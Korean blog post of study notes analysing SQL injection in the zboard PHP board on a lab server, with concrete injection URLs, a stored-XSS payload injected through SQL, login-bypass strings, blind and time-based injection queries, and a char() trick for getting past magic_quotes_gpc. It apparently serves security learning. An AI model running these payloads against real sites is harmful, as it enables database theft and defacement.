-
[웹보안] zboard 취약점 분석 - SQL Injection보안/웹보안 2017. 5. 30. 17:13
Injection 기법들
SQL injection
php injection
html injection
command injection
분석
Download : 3 라는 숫자가 저장되면서 변하는 것을 볼 수 있었다.
SQL을 사용하며 [ DB ] 를 사용한다는 뜻이다.
소스보기를 살펴보자.
[링크]
링크를 확인하니 download.php에서 DB를 처리하는 것 같다.
>> 사실 이부분은 공격자 입장에서 볼 수 없으므로 넘어가는 데이터의 형태와 외부변수를 적극적으로 이용해야 한다.
변수들을 치환해서 실제 쿼리동작을 알아보자.
mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");
*치환된 SQL > update zetyx_board_attack set download1=download1+1 where no='64'
변 수
[lib.php :39]
$t_board = "zetyx_board";
[url : 외부에서 정의되는 변수]
$id=attack
$filenum=1
$no=64
커멘드 #, --, /* */ 를 이용 >> URL Encoding : 문자에 대한 아스키코드 %를 붙여준다.
http://192.168.6.233/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=75&filenum=1=10000 %23
응용 > injection을 통한 script 삽입
#String SQL Injection
http://192.168.6.233/zboard/download.php?id=attack&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword=&prev_no=&select_arrange=headnum&desc=asc&no=75&filenum=1=7777, memo='<script> alert(\'xss\') </script>' where no=75 %23
#numeric SQL Injection
and 1=1을 삽입해 쿼리가 실행되면 쿼리가 삽입될 수 있다는 것. ( 0이 아닌 모든 수 는 참 )
union .. join ....
union : 같은 컬럼수의 테이블을 조회가능
table , colum 이름을 찾는방법
1) 추측 ( Guessing )
테이블과 컬럼이름이 사용하는 기능과 연관이 있다.
2) 직접확인( )
mysql ver.5 이상부터 확인
1) 컬럼의 갯수를 찾는다. ( order by ... )
2) information_schema ( table, columns 테이블 ) 에서 컬럼, 테이블이름을 찾는다.
table_name, table_schema, column_name, column_type, column_....
3) concat함수로 컬럼을 합친다. // NULL을 추가한다.
대신 아무것도 없을떄는 blind SQL injection 방식을 사용하.
# 로그인 >> 세션이 저장되어 페이지에서 재검사를 하기때문에 실패
ID : ` or 1=1#
pw: ` or 1=1#
#blind SQL injection
목적 : 정보노출
select * from where no= ]] > 1 and ascii(substr((select table_name from infomation_schema.tables limit 0,1),1,1)) > 50;
>> 으로 ascii함수, substr 처리하자.
#아무것도 없을경우
and sleep(10) 추가해서 딜레이로 쿼리가 실행되는지 확인이 가능하다
> 크롤링을 만들어서 사용해도 된다.
php.net [ socat ]
출력되는곳이 없기에 논리식으로만 인젝션을 할 수 있다.
- 하나의 데이터 , 열과 행 1,1 로 이루어져야하며 이데이터를 문자열로 가져온다.
select column1 from table limit 0,1;
방어법
*php ( magic_quotes_gpc ) #문자열에서만 가능한 기법 이스케이프 문자를 삽입할 수 없게 된다.
5.4 이후 사라진 기능 #모든 입력값에대한 검증이 시작하기에 사라짐 > 개발자가 직접 검증(addcslashes)
:745 magic_quotes_gpc = On #default Off
>> 재공격법
char(98,121,113,97,115,115,32,70,73,76,84,69,82,73,78,71,33,33,33)
'보안 > 웹보안' 카테고리의 다른 글
[웹보안] zboard 취약점 분석 (서버측언어) - 파일업로드 (0) 2017.05.29 [웹보안] zboard의 취약점 분석(클라이언트 측) (0) 2017.05.26 [웹보안] 로그인 (0) 2017.05.19 [웹보안] php (0) 2017.05.15